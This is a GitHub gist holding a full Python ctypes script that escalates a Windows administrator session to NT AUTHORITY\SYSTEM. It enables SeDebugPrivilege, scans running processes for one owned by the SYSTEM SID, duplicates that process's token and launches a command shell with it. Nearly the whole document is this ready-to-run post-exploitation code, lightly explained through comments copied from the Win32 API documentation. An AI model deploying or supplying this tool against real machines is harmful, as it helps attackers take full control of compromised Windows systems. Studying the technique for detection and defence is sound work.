Skip to content

Instantly share code, notes, and snippets.

@makelariss
Last active October 14, 2020 00:21
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save makelariss/147a16dd003b2fd1eacd9afcd1d0fe7f to your computer and use it in GitHub Desktop.
Save makelariss/147a16dd003b2fd1eacd9afcd1d0fe7f to your computer and use it in GitHub Desktop.
NT AUTHORITY\SYSTEM through Token Impersonation using Python
# -*- coding: UTF-8 -*-
# All credits go to: https://github.com/joren485/PyWinPrivEsc/blob/master/RunAsSystem.py
from ctypes.wintypes import *
from ctypes import *
from enum import IntEnum
# These libraries have the APIs we need
kernel32 = WinDLL('kernel32', use_last_error=True)
advapi32 = WinDLL('advapi32', use_last_error=True)
psapi = WinDLL('psapi.dll', use_last_error=True)
# Define structures
# https://docs.python.org/2/library/ctypes.html#structures-and-unions
PSID = c_void_p
# The SID_AND_ATTRIBUTES structure represents a security identifier (SID) and its attributes. SIDs are used to uniquely identify users or groups
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379595(v=vs.85).aspx
class SID_AND_ATTRIBUTES(Structure): # typedef struct _SID_AND_ATTRIBUTES
_fields_ = [ # {
('Sid', PSID), # PSID Sid;
('Attributes', DWORD) # DWORD Attributes;
] # }
# The TOKEN_PRIVILEGES structure contains information about a set of privileges for an access token.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx
class TOKEN_PRIVILEGES(Structure): # typedef struct _TOKEN_PRIVILEGES
_fields_ = [ # {
('PrivilegeCount', DWORD), # DWORD PrivilegeCount;
('Privileges', DWORD * 3) # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
] # }
# The SECURITY_IMPERSONATION_LEVEL enumeration contains values that specify security impersonation levels. Security impersonation levels govern the degree to which a server process can act on behalf of a client process.
# or https://gist.github.com/christoph2/9c390e5c094796903097 # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379572(v=vs.85).aspx
class SECURITY_IMPERSONATION_LEVEL(c_int): # typedef enum _SECURITY_IMPERSONATION_LEVEL {
SecurityAnonymous = 0 # SecurityAnonymous The server process cannot obtain identification information about the client, and it cannot impersonate the client.
SecurityIdentification = SecurityAnonymous + 1 # SecurityIdentification The server process can obtain information about the client, such as security identifiers and privileges, but it cannot impersonate the client.
SecurityImpersonation = SecurityIdentification + 1 # SecurityImpersonation The server process can impersonate the client's security context on its local system.
class c_enum(IntEnum): # A ctypes-compatible IntEnum superclass that implements the class method
@classmethod # https://docs.python.org/3/library/functions.html#classmethod
def from_param(cls, obj): # Define the class method `from_param`.
return c_int(cls(obj)) # The obj argument to the from_param method is the object instance, in this case the enumerated value itself. Any Enum with an integer value can be directly cast to int. TokenElevation -> TOKEN_INFORMATION_CLASS.TokenElevation
# The TOKEN_INFORMATION_CLASS enumeration contains values that specify the type of information being assigned to or retrieved from an access token
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379626(v=vs.85).aspx
class TOKEN_INFORMATION_CLASS(c_enum): # typedef enum _TOKEN_INFORMATION_CLASS {
TokenUser = 1 # TokenUser The buffer receives a TOKEN_USER structure that contains the user account of the token
TokenElevation = 20 # TokenElevationType The buffer receives a TOKEN_ELEVATION_TYPE value that specifies the elevation level of the token.
# The TOKEN_TYPE enumeration contains values that differentiate between a primary token and an impersonation token.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379633(v=vs.85).aspx
class TOKEN_TYPE(c_enum): # typedef enum tagTOKEN_TYPE {
TokenPrimary = 1 # TokenPrimary Indicates a primary token.
TokenImpersonation = 2 # TokenImpersonation Indicates an impersonation token.
# The TOKEN_USER structure identifies the user associated with an access token.
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa379634(v=vs.85).aspx
class TOKEN_USER(Structure): # typedef struct _TOKEN_USER
_fields_ = [ # {
('User', SID_AND_ATTRIBUTES), # SID_AND_ATTRIBUTES User;
] # }
LPVOID = c_void_p
LPTSTR = c_void_p
LPBYTE = c_char_p
# Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms686331(v=vs.85).aspx
class STARTUPINFO(Structure): # typedef struct _STARTUPINFO
_fields_ = [ # {
('cb', DWORD), # DWORD cb;
('lpReserved', LPTSTR), # LPTSTR lpReserved;
('lpDesktop', LPTSTR), # LPTSTR lpDesktop;
('lpTitle', LPTSTR), # LPTSTR lpTitle;
('dwX', DWORD), # DWORD dwX;
('dwY', DWORD), # DWORD dwY;
('dwXSize', DWORD), # DWORD dwXSize;
('dwYSize', DWORD), # DWORD dwYSize;
('dwXCountChars', DWORD), # DWORD dwXCountChars;
('dwYCountChars', DWORD), # DWORD dwYCountChars;
('dwFillAttribute', DWORD), # DWORD dwFillAttribute;
('dwFlags', DWORD), # DWORD dwFlags;
('wShowWindow', WORD), # WORD wShowWindow;
('cbReserved2', WORD), # WORD cbReserved2;
('lpReserved2', LPBYTE), # LPBYTE lpReserved2;
('hStdInput', HANDLE), # HANDLE hStdInput;
('hStdOutput', HANDLE), # HANDLE hStdOutput;
('hStdError', HANDLE) # HANDLE hStdError;
] # }
# Contains information about a newly created process and its primary thread. It is used with the CreateProcess, CreateProcessAsUser, CreateProcessWithLogonW, or CreateProcessWithTokenW function.
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms684873(v=vs.85).aspx
class PROCESS_INFORMATION(Structure): # typedef struct _PROCESS_INFORMATION
_fields_ = [ # {
('hProcess', HANDLE), # HANDLE hProcess;
('hThread', HANDLE), # HANDLE hThread;
('dwProcessId', DWORD), # DWORD dwProcessId;
('dwThreadId', DWORD) # DWORD dwThreadId;
] # }
# A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes.
# NewState [in, optional] # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx
SE_PRIVILEGE_ENABLED = 0x00000002 # The function enables the privilege
# Process creation flags | https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863(v=vs.85).aspx
CREATE_NEW_CONSOLE = 0x00000010 # The new process has a new console, instead of inheriting its parent's console (the default).
# Maximum Path Length Limitation | https://msdn.microsoft.com/en-us/library/windows/desktop/aa365247(v=vs.85).aspx
MAX_PATH = 260
# dwLogonFlags [in]
LOGON_NETCREDENTIALS_ONLY = 0x00000002 # Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials. lpApplicationName = CMDPath.value
# Standard access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa379607(v=vs.85).aspx
SYNCHRONIZE = 0x00100000 # The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
DELETE = 0x00010000 # The right to delete the object
READ_CONTROL = 0x00020000 # The right to read the information in the object's security descriptor, not including the information in the system access control list (SACL). To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right.
WRITE_DAC = 0x00040000 # Required to modify the DACL in the security descriptor for the object.
WRITE_OWNER = 0x00080000 # Required to change the owner in the security descriptor for the object.
STANDARD_RIGHTS_READ = READ_CONTROL # Currently defined to equal READ_CONTROL
STANDARD_RIGHTS_WRITE = READ_CONTROL # Currently defined to equal READ_CONTROL
STANDARD_RIGHTS_REQUIRED = 0x000F0000 # Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access
# Process access rights for OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx
PROCESS_CREATE_PROCESS = 0x0080 # Required to create a process.
PROCESS_CREATE_THREAD = 0x0002 # Required to create a thread.
PROCESS_DUP_HANDLE = 0x0040 # Required to duplicate a handle using DuplicateHandle.
PROCESS_QUERY_INFORMATION = 0x0400 # Required to retrieve certain information about a process, such as its token, exit code, and priority class = see OpenProcessToken #.
PROCESS_QUERY_LIMITED_INFORMATION= 0x1000 # Required to retrieve certain information about a process = see GetExitCodeProcess, GetPriorityClass, IsProcessInJob, QueryFullProcessImageName #. A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP: This access right is not supported.
PROCESS_SET_INFORMATION = 0x0200 # Required to set certain information about a process, such as its priority class = see SetPriorityClass #.
PROCESS_SET_QUOTA = 0x0100 # Required to set memory limits using SetProcessWorkingSetSize.
PROCESS_SUSPEND_RESUME = 0x0800 # Required to suspend or resume a process.
PROCESS_TERMINATE = 0x0001 # Required to terminate a process using TerminateProcess.
PROCESS_VM_OPERATION = 0x0008 # Required to perform an operation on the address space of a process = see VirtualProtectEx and WriteProcessMemory #.
PROCESS_VM_READ = 0x0010 # Required to read memory in a process using ReadProcessMemory.
PROCESS_VM_WRITE = 0x0020 # Required to write to memory in a process using WriteProcessMemory.
PROCESS_ALL_ACCESS = (PROCESS_CREATE_PROCESS
| PROCESS_CREATE_THREAD
| PROCESS_DUP_HANDLE
| PROCESS_QUERY_INFORMATION
| PROCESS_QUERY_LIMITED_INFORMATION
| PROCESS_SET_INFORMATION
| PROCESS_SET_QUOTA
| PROCESS_SUSPEND_RESUME
| PROCESS_TERMINATE
| PROCESS_VM_OPERATION
| PROCESS_VM_READ
| PROCESS_VM_WRITE
| SYNCHRONIZE)
# Token access rights | https://msdn.microsoft.com/en-us/library/windows/desktop/aa374905(v=vs.85).aspx
TOKEN_ADJUST_PRIVILEGES = 0x00000020 # Required to enable or disable the privileges in an access token
TOKEN_QUERY = 0x00000008 # Required to query an access token
TOKEN_ASSIGN_PRIMARY = 0x0001 # Required to attach a primary token to a process. The SE_ASSIGNPRIMARYTOKEN_NAME privilege is also required to accomplish this task
TOKEN_DUPLICATE = 0x0002 # Required to duplicate an access token
TOKEN_IMPERSONATE = 0x0004 # Required to attach an impersonation access token to a process
TOKEN_QUERY_SOURCE = 0x0010 # Required to query the source of an access token
TOKEN_ADJUST_GROUPS = 0x0040 # Required to adjust the attributes of the groups in an access token
TOKEN_ADJUST_DEFAULT = 0x0080 # Required to change the default owner, primary group, or DACL of an access token
TOKEN_ADJUST_SESSIONID = 0x0100 # Required to adjust the session ID of an access token. The SE_TCB_NAME privilege is required
TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) # Combines STANDARD_RIGHTS_READ and TOKEN_QUERY.
tokenprivs = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072L | 4))
TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED # Combines all possible access rights for a token.
| TOKEN_ASSIGN_PRIMARY
| TOKEN_DUPLICATE
| TOKEN_IMPERSONATE
| TOKEN_QUERY
| TOKEN_QUERY_SOURCE
| TOKEN_ADJUST_PRIVILEGES
| TOKEN_ADJUST_GROUPS
| TOKEN_ADJUST_DEFAULT
| TOKEN_ADJUST_SESSIONID)
# Win32 API function definitions
# https://msdn.microsoft.com/en-us/library/windows/desktop/ff818516(v=vs.85).aspx
#Retrieves the calling thread's last-error code value. The last-error code is maintained on a per-thread basis. Multiple threads do not overwrite each other's last-error code.
GetLastError = windll.kernel32.GetLastError # https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx
GetLastError.restype = DWORD # DWORD WINAPI GetLastError(void);
# Retrieves a pseudo handle for the current process
GetCurrentProcess = kernel32.GetCurrentProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx
GetCurrentProcess.restype = HANDLE # HANDLE WINAPI GetCurrentProcess(void);
# Closes an open object handle.
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle
CloseHandle.argtypes = [ # (
HANDLE # HANDLE hObject
] # );
PHANDLE = POINTER(HANDLE)
# The OpenProcessToken function opens the access token associated with a process
OpenProcessToken = advapi32.OpenProcessToken # https://msdn.microsoft.com/en-us/library/windows/desktop/aa379295(v=vs.85).aspx
OpenProcessToken.restype = BOOL # BOOL WINAPI OpenProcessToken(
OpenProcessToken.argtypes = [ # (
HANDLE, # HANDLE ProcessHandle,
DWORD, # DWORD DesiredAccess,
PHANDLE # PHANDLE TokenHandle
] # );
PDWORD = POINTER(DWORD)
# The GetTokenInformation function retrieves a specified type of information about an access token
GetTokenInformation = advapi32.GetTokenInformation # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx
GetTokenInformation.restype = BOOL # BOOL WINAPI GetTokenInformation
GetTokenInformation.argtypes = [ # (
HANDLE, # HANDLE TokenHandle,
c_int, # TOKEN_INFORMATION_CLASS TokenInformationClass, (TOKEN_INFORMATION_CLASS.enum (eg: TokenElevation) -> cast to int (0x14))
LPVOID, # LPVOID TokenInformation,
DWORD, # DWORD TokenInformationLength,
PDWORD # PDWORD ReturnLength
] # );
# Opens an existing local process object
OpenProcess = kernel32.OpenProcess # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684320(v=vs.85).aspx
OpenProcess.restype = HANDLE # HANDLE WINAPI OpenProcess
OpenProcess.argtypes = [ # (
DWORD, # DWORD dwDesiredAccess,
BOOL, # BOOL bInheritHandle,
DWORD # DWORD dwProcessId
] # );
# Retrieves the process identifier of the calling process
GetCurrentProcessId = kernel32.GetCurrentProcessId # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683180(v=vs.85).aspx
GetCurrentProcessId.restype = DWORD # DWORD WINAPI GetCurrentProcessId(void);
# Retrieves the base name of the specified module
GetModuleBaseNameA = psapi.GetModuleBaseNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683196(v=vs.85).aspx
GetModuleBaseNameA.restype = DWORD # DWORD WINAPI GetModuleBaseName
GetModuleBaseNameA.argtypes = [ # (
HANDLE, # HANDLE hProcess,
HMODULE, # HMODULE hModule,
LPTSTR, # LPTSTR lpBaseName,
DWORD # DWORD nSize
] # );
PTOKEN_PRIVILEGES = LPVOID
# The AdjustTokenPrivileges function enables or disables privileges in the specified access token
AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375202(v=vs.85).aspx
AdjustTokenPrivileges.restype = BOOL # BOOL WINAPI AdjustTokenPrivileges
AdjustTokenPrivileges.argtypes = [ # {
HANDLE, # HANDLE TokenHandle,
BOOL, # BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES NewState, # SE_PRIVILEGE_ENABLED = 0x00000002
DWORD, # DWORD BufferLength,
PTOKEN_PRIVILEGES, # PTOKEN_PRIVILEGES PreviousState,
PDWORD # PDWORD ReturnLength
] # }
PDWORD = POINTER(DWORD)
# Retrieves the process identifier for each process object in the system.
EnumProcesses = psapi.EnumProcesses # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682629(v=vs.85).aspx
EnumProcesses.restype = BOOL # BOOL WINAPI EnumProcesses
EnumProcesses.argtypes = [ # (
PDWORD, # DWORD *pProcessIds,
DWORD, # DWORD cb,
PDWORD # DWORD *pBytesReturned
] # );
# Retrieves the name of the executable file for the specified process.
GetProcessImageFileName = psapi.GetProcessImageFileNameA # https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
GetProcessImageFileName.restype = DWORD # DWORD WINAPI GetProcessImageFileName
GetProcessImageFileName.argtypes = [ # (
HANDLE, # HANDLE hprocess,
LPTSTR, # LPTSTR lpImageFileName,
DWORD # DWORD nSize
] # );
# The ConvertSidToStringSid function converts a security identifier (SID) to a string format suitable for display, storage, or transmission.
ConvertSidToStringSidA = advapi32.ConvertSidToStringSidA # https://msdn.microsoft.com/en-us/library/windows/desktop/aa376399(v=vs.85).aspx
ConvertSidToStringSidA.restype = BOOL # BOOL ConvertSidToStringSid
ConvertSidToStringSidA.argtypes = [ # (
PSID, # PSID Sid,
LPTSTR # LPTSTR *StringSid
] # );
LPSECURITY_ATTRIBUTES = LPVOID
# The DuplicateTokenEx function creates a new access token that duplicates an existing token. This function can create either a primary token or an impersonation token.
DuplicateTokenEx = advapi32.DuplicateTokenEx # https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
DuplicateTokenEx.restype = BOOL # BOOL WINAPI DuplicateTokenEx
DuplicateTokenEx.argtypes = [ # (
HANDLE, # HANDLE hExistingToken,
DWORD, # DWORD dwDesiredAccess,
LPSECURITY_ATTRIBUTES, # LPSECURITY_ATTRIBUTES lpTokenAttributes,
SECURITY_IMPERSONATION_LEVEL, # SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
TOKEN_TYPE, # TOKEN_TYPE TokenType,
PHANDLE # PHANDLE phNewToken
] # );
# The ImpersonateLoggedOnUser function lets the calling thread impersonate the security context of a logged-on user. The user is represented by a token handle.
ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser # https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
ImpersonateLoggedOnUser.restype = BOOL # BOOL WINAPI ImpersonateLoggedOnUser
ImpersonateLoggedOnUser.argtypes = [ # (
HANDLE # HANDLE hToken
] # );
LPSTARTUPINFO = PSTARTUPINFO = POINTER(STARTUPINFO)
LPPROCESS_INFORMATION = PPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)
# Creates a new process and its primary thread. The new process runs in the security context of the specified token.
CreateProcessWithToken = advapi32.CreateProcessWithTokenW # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682434(v=vs.85).aspx
CreateProcessWithToken.restype = BOOL # BOOL WINAPI CreateProcessWithTokenW
CreateProcessWithToken. argtypes = [ # (
HANDLE, # HANDLE hToken,
DWORD, # DWORD dwLogonFlags,
LPCWSTR, # LPCWSTR lpApplicationName,
LPWSTR, # LPWSTR lpCommandLine,
DWORD, # DWORD dwCreationFlags,
LPCWSTR, # LPVOID lpEnvironment,
LPCWSTR, # LPCWSTR lpCurrentDirectory,
LPSTARTUPINFO, # LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION # LPPROCESS_INFORMATION lpProcessInfo
] # );
# Closes an open object handle.
CloseHandle = kernel32.CloseHandle # https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx
CloseHandle.restype = BOOL # BOOL WINAPI CloseHandle
CloseHandle.argtypes = [ # (
HANDLE # HANDLE hObject
] # );
def areAdminRightsEnabled():
currentToken = HANDLE()
OpenProcessToken(
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
TOKEN_READ, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(currentToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
TokenInformation = DWORD()
ReturnLength = DWORD()
cracknak69 = GetTokenInformation(
currentToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access.
TOKEN_INFORMATION_CLASS.TokenElevation,# _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves.
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter.
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero.
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter.
if TokenInformation:
currenthandle = OpenProcess(
PROCESS_ALL_ACCESS, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
GetCurrentProcessId()) # _In_ dwProcessId The identifier of the local process to be opened.
BaseName = (c_char * MAX_PATH)()
GetModuleBaseNameA(
currenthandle, # _In_ hProcess,
None, # _In_opt_ hModule,
byref(BaseName), # _Out_ lpBaseName,
sizeof(BaseName)) # _In_ nSize
print "[+] Process", BaseName.value,"has elevated privileges.. continuing"
return bool(TokenInformation) # NULL pointers have a False boolean value
CloseHandle(currentToken) # _In_ hObject A valid handle to an open object.
INVALID_HANDLE_VALUE = c_void_p(-1).value
def getsedebugprivilege():
hToken = HANDLE(INVALID_HANDLE_VALUE)
knackcrack = OpenProcessToken(
GetCurrentProcess(), # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
(TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY),# _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(hToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
if knackcrack == 0:
raise RuntimeError("Error while grabbing GetCurrentProcess()'s token: %s" %GetLastError())
SE_DEBUG_NAME = 20 # https://msdn.microsoft.com/en-us/library/cc223143.aspx | more information -> https://doxygen.reactos.org/d2/d01/ndk_2setypes_8h_source.html
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount= 1
tp.Privileges = (SE_DEBUG_NAME, 0, SE_PRIVILEGE_ENABLED)
# https://msdn.microsoft.com/en-us/library/windows/desktop/aa374909(v=vs.85).aspx
knackcrack666 = AdjustTokenPrivileges(
hToken, # _In_ TokenHandle A handle to the access token that contains the privileges to be modified. The handle must have TOKEN_ADJUST_PRIVILEGES access to the token. If the PreviousState parameter is not NULL, the handle must also have TOKEN_QUERY access.
False, # _In_ DisableAllPrivileges Specifies whether the function disables all of the token's privileges. If this value is TRUE, the function disables all privileges and ignores the NewState parameter. If it is FALSE, the function modifies privileges based on the information pointed to by the NewState parameter.
byref(tp), # _In_opt_ NewState A pointer to a TOKEN_PRIVILEGES structure that specifies an array of privileges and their attributes. If the DisableAllPrivileges parameter is FALSE, the AdjustTokenPrivileges function enables, disables, or removes these privileges for the token. If DisableAllPrivileges is TRUE, the function ignores this parameter.
0, # _In_ BufferLength Specifies the size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be zero if the PreviousState parameter is NULL.
None, # _Out_opt_ PreviousState A pointer to a buffer that the function fills with a TOKEN_PRIVILEGES structure that contains the previous state of any privileges that the function modifies. That is, if a privilege has been modified by this function, the privilege and its previous state are contained in the TOKEN_PRIVILEGES structure referenced by PreviousState. If the PrivilegeCount member of TOKEN_PRIVILEGES is zero, then no privileges have been changed by this function. This parameter can be NULL
None) # _Out_opt_ ReturnLength A pointer to a variable that receives the required size, in bytes, of the buffer pointed to by the PreviousState parameter. This parameter can be NULL if PreviousState is NULL.
if knackcrack666 == 0:
raise RuntimeError("Error while assigning SE_DEBUG_NAME to GetCurrentProcess()'s token': %s" %GetLastError())
if areAdminRightsEnabled():
getsedebugprivilege()
print "[+] Enabling SeDebugPrivilege"
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms682623(v=vs.85).aspx
DWORD_array = (DWORD * 0xFFFF)
ProcessIds = DWORD_array()
ProcessIdsSize = sizeof(ProcessIds)
ProcessesReturned = DWORD() # https://msdn.microsoft.com/en-us/library/windows/desktop/ms682623(v=vs.85).aspx
EnumProcesses(
ProcessIds, # _Out_ pProcessIds A pointer to an array that receives the list of process identifiers.
ProcessIdsSize, # _In_ cb The size of the pProcessIds array, in bytes.
ProcessesReturned) # _Out_ pBytesReturned The number of bytes returned in the pProcessIds array.
foundSystemprocess = False
RunningProcesses = ProcessesReturned.value / sizeof(DWORD)
for process in range(RunningProcesses):
ProcessId = ProcessIds[process]
currenthandle = OpenProcess(
PROCESS_QUERY_INFORMATION, # _In_ dwDesiredAccess The access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
False, # _In_ bInheritHandle If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
ProcessId) # _In_ dwProcessId The identifier of the local process to be opened.
if currenthandle:
ProcessName = (c_char * MAX_PATH)()
if GetProcessImageFileName(
currenthandle, # _In_ hProcess A handle to the process. The handle must have the PROCESS_QUERY_INFORMATION or PROCESS_QUERY_LIMITED_INFORMATION access right.
ProcessName, # _Out_ lpImageFileName A pointer to a buffer that receives the full path to the executable file.
MAX_PATH): # _In_ nSize The size of the lpImageFileName buffer, in characters.
ProcessName = ProcessName.value.split("\\")[-1] # Since GetProcessImageFileName function returns the path in device form we grab the process name with split on what's followed after the last slash. \Device\Harddisk0\Partition1\Windows\System32\wusa.exe -> wusa.exe
if not foundSystemprocess:
processToken = HANDLE(INVALID_HANDLE_VALUE)
OpenProcessToken(
currenthandle, # _In_ ProcessHandle A handle to the process whose access token is opened. The process must have the PROCESS_QUERY_INFORMATION access permission.
tokenprivs, # _In_ DesiredAccess Specifies an access mask that specifies the requested types of access to the access token. These requested access types are compared with the discretionary access control list (DACL) of the token to determine which accesses are granted or denied.
byref(processToken)) # _Out_ TokenHandle A pointer to a handle that identifies the newly opened access token when the function returns.
TokenInformation = (c_byte * 4096)() # assume x86 page size
ReturnLength = DWORD()
GetTokenInformation(
processToken, # _In_ TokenHandle A handle to an access token from which information is retrieved. If TokenInformationClass specifies TokenSource, the handle must have TOKEN_QUERY_SOURCE access. For all other TokenInformationClass values, the handle must have TOKEN_QUERY access.
TOKEN_INFORMATION_CLASS.TokenUser, # _In_ TokenInformationClass Specifies a value from the TOKEN_INFORMATION_CLASS enumerated type to identify the type of information the function retrieves.
byref(TokenInformation), # _Out_opt_ TokenInformation A pointer to a buffer the function fills with the requested information. The structure put into this buffer depends upon the type of information specified by the TokenInformationClass parameter.
sizeof(TokenInformation), # _In_ TokenInformationLength Specifies the size, in bytes, of the buffer pointed to by the TokenInformation parameter. If TokenInformation is NULL, this parameter must be zero.
byref(ReturnLength)) # _Out_ ReturnLength A pointer to a variable that receives the number of bytes needed for the buffer pointed to by the TokenInformation parameter.
Token = cast(TokenInformation, POINTER(TOKEN_USER))
StringSid = LPSTR()
ConvertSidToStringSidA(
Token.contents.User.Sid, # _In_ Sid A pointer to the SID structure to be converted.
byref(StringSid)) # _Out_ *StringSid A pointer to a variable that receives a pointer to a null-terminated SID string.
if StringSid.value == 'S-1-5-18':
print "[*] Found system IL process", ProcessName,"with PID:", ProcessId
print "\t[+] Grabbing token"
foundSystemprocess = True
hTokendupe = HANDLE(INVALID_HANDLE_VALUE)
knacrack = DuplicateTokenEx(
processToken, # _In_ hExistingToken A handle to an access token opened with TOKEN_DUPLICATE access.
TOKEN_ALL_ACCESS, # _In_ dwDesiredAccess Specifies the requested access rights for the new token. The DuplicateTokenEx function compares the requested access rights with the existing token's discretionary access control list (DACL) to determine which rights are granted or denied.
None, # _In_opt_ lpTokenAttributes A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new token and determines whether child processes can inherit the token.
SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,# _In_ ImpersonationLevel Specifies a value from the SECURITY_IMPERSONATION_LEVEL enumeration that indicates the impersonation level of the new token.
TOKEN_TYPE.TokenPrimary, # _In_ TokenType Specifies a value from the TOKEN_TYPE enumeration.
byref(hTokendupe)) # _Out_ phNewToken A pointer to a HANDLE variable that receives the new token.
ImpersonateLoggedOnUser(hTokendupe) # _In_ hToken A handle to a primary or impersonation access token that represents a logged-on user. This can be a token handle returned by a call to NtFilterToken function. If hToken is a handle to an impersonation token, the token must have TOKEN_QUERY and TOKEN_IMPERSONATE access.
print "\t[*] Impersonating System IL token"
SW_SHOW = 5
lpStartupInfo = STARTUPINFO()
lpStartupInfo.cb = sizeof(lpStartupInfo)
lpProcessInformation = PROCESS_INFORMATION()
STARTF_USESHOWWINDOW = 0x00000001 # The wShowWindow member contains additional information.
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW
lpStartupInfo.wShowWindow = SW_SHOW
CREATE_NEW_CONSOLE = 0x00000010
CMDPath = create_unicode_buffer(1024)
kernel32.GetEnvironmentVariableW(u"COMSPEC", CMDPath, 1024)
lpApplicationName = CMDPath.value
knacracklov3 = CreateProcessWithToken(
hTokendupe, # _In_ hToken A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. To get a primary token that represents the specified user, call the DuplicateTokenEx function to convert an impersonation token into a primary token.
LOGON_NETCREDENTIALS_ONLY, # _In_ dwLogonFlags Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.
lpApplicationName, # _In_opt_ lpApplicationName The name of the module to be executed.
None, # _Inout_opt_ lpCommandLine The command line to be executed.
CREATE_NEW_CONSOLE, # _In_ dwCreationFlagg The flags that control how the process is created.
None, # _In_opt_ lpEnvironment A pointer to an environment block for the new process. If this parameter is NULL, the new process uses an environment created from the profile of the user specified by lpUsername.
None, # _In_opt_ dwCreationFlags The flags that control how the process is created. The new process has a new console, instead of inheriting the parent's console. This flag cannot be used with the DETACHED_PROCESS flag.
byref(lpStartupInfo), # _In_ lpStartupInfo A pointer to a STARTUPINFO structure.
byref(lpProcessInformation)) # _Out_ lpProcessInfo A pointer to a PROCESS_INFORMATION structure that receives identification information for the new process, including a handle to the process.
if knacracklov3 == 0:
raise RuntimeError("Error while triggering admin payload using CreateProcessWithLogonW: %s" %GetLastError())
